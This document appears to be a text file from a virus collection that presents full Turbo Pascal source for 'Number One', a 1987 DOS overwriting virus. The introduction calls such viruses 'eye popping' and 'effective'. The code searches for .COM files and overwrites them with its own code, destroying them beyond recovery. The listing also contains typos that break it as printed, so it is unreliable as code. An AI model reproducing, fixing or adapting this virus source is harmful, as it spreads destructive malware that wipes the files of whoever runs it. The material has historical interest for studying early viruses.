{                             Virus in Pascal         }
{                             ---------------         }


{ Pascal is another high level language that can produce eye popping computer }
{ viruses. Especially when the usage of Turbo Pascal is involved.             }
{ The virus below was available through various bulletin boards for           }
{ a while.                                                                    }


{------------------------------------------------------------------}
{Number One}

{ Number One infects all .COM - file's name will be displayed         }
{ That file has been overwritten with Number Ones's program code and  }
{ is not reconstructible! If all files are infected or or no .COM     }
{ files are found, Number one gives you a <smile>.                    }
{ Files may be protected against infections of Number One by          }
{ setting the Read ONLY attribute.                                    }

{ Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) - edited by ???    }

{------------------------------------------------------}

{C-}
{U-}
{I-}       { Wont allow a user break, enable IO check }

{ -- Constants --------------------------------------- }

Const
     VirusSize = 12027;    { Number One's code size }

     Warning   :String[42]     { Warning message }
     = 'This File Has Been Infected by Number One!';

{ -- Type declarations------------------------------------- }

Type
     DTARec    =Record      { Data area for file search }
     DOSnext  :Array[1..21] of Byte;
                   Attr    : Byte;
                   Ftime,
                   FDate,
                   FLsize,
                   FHsize  : Integer;
                   FullName: Array[1..13] of Char;
                 End;

Registers    = Record    {Register set used for file search }
   Case Byte of
   1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
   2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
   End;

{ -- Variables--------------------------------------------- }

Var
                               { Memory offset program code }
   ProgramStart : Byte absolute Cseg:$100;
                                          { Infected marker }
   MarkInfected : String[42] absolute Cseg:$180;
   Reg          : Registers;                 { Register set }
   DTA          : DTARec;                       { Data area }
   Buffer       : Array[Byte] of Byte;        { Data buffer }
   TestID       : String[42]; { To recognize infected files }
   UsePath      : String[66];        { Path to search files }
                                    { Lenght of search path }
   UsePathLenght: Byte absolute UsePath;
   Go           : File;                    { File to infect }
   B            : Byte;                              { Used }

{ -- Program code------------------------------------------ }

Begin
  WriteLn(Warning);               { Display warning message }
  GetDir(0, UsePath);               { get current directory }
  if Pos('\', UsePath) <> UsePathLenght then
    UsePath := UsePath + '\';
  UsePath := UsePath + '*.COM';        { Define search mask }
  Reg.AH := $1A;                            { Set data area }
  Reg.DS := Seg(DTA);
  Reg.DX := Ofs(DTA);
  MsDos(Reg);
  UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  Reg.AH := $4E;
  Reg.DS := Seg(UsePath);
  Reg.DX := Ofs(UsePath[1]);
  Reg CX := $ff;          { Set attribute to find ALL files }
  MsDos(Reg);                   { Find first matching entry }
  IF not Odd(Reg.Flags) Then         { If a file found then }
    Repeat
      UsePath := DTA.FullName;
      B := Pos(#0, UsePath);
      If B > 0 then
      Delete(UsePath, B, 255);             { Remove garbage }
      Assign(Go, UsePath);
      Reset(Go);
      If IOresult = 0 Then          { If not IO error then }
      Begin
        BlockRead(Go, Buffer, 2);
        Move(Buffer[$80], TestID, 43);
                      { Test if file already ill(Infected) }
        If TestID <> Warning Then        { If not then ... }
        Begin
          Seek (Go, 0);
                            { Mark file as infected and .. }
          MarkInfected := Warning;
                                               { Infect it }
          BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7);
          Close(Go);
                                  { Say what has been done }
          WriteLn(UsePath + 'infected.');
          Halt;                   {.. and halt the program }
        End;
        Close(Go);
      End;
        { The file has already been infected, search next. }
      Reg.AH := $4F;
      Reg.DS := Seg(DTA);
      Reg.DX := Ofs(DTA);
      MsDos(Reg);
    {  ......................Until no more files are found }
    Until Odd(Red.Flags);
  Write(`<Smile>');                          {Give a smile }
End.


{ Although this is a primitive virus its effective. }
{ In this virus only the .COM                       }
{ files are infected. Its about 12K and it will     }
{ change the date entry.                            }